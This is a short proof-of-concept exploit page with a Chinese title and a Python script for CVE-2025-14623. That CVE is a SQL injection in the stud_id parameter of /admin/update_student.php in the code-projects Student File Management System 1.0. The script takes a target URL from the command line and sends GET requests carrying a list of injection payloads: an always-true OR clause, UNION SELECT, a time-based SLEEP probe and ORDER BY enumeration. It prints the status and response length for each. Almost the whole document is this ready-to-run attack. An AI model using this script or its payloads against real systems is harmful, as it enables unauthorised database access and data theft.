CVE-2025-14623 code-projects Student File Management System SQL注入漏洞

import requests import sys # CVE-2025-14623 SQL Injection PoC # Target: code-projects Student File Management System 1.0 # File: /admin/update_student.php # Parameter: stud_id def exploit_sql_injection(target_url, stud_id_payload): """ Exploit SQL injection vulnerability in stud_id parameter """ # Construct the vulnerable URL target = f"{target_url}/admin/update_student.php" # SQL injection payload in stud_id parameter params = { 'stud_id': stud_id_payload } try: # Send the malicious request response = requests.get(target, params=params, timeout=10) print(f"[*] Target: {target}") print(f"[*] Payload: {stud_id_payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None # Example payloads for testing if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14623.py <target_url>") print("Example: python cve-2025-14623.py http://localhost/student-management-system") sys.exit(1) target_url = sys.argv[1] # Test basic SQL injection payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--", "1' ORDER BY 1--" ] for payload in payloads: print(f"\n[*] Testing payload: {payload}") exploit_sql_injection(target_url, payload)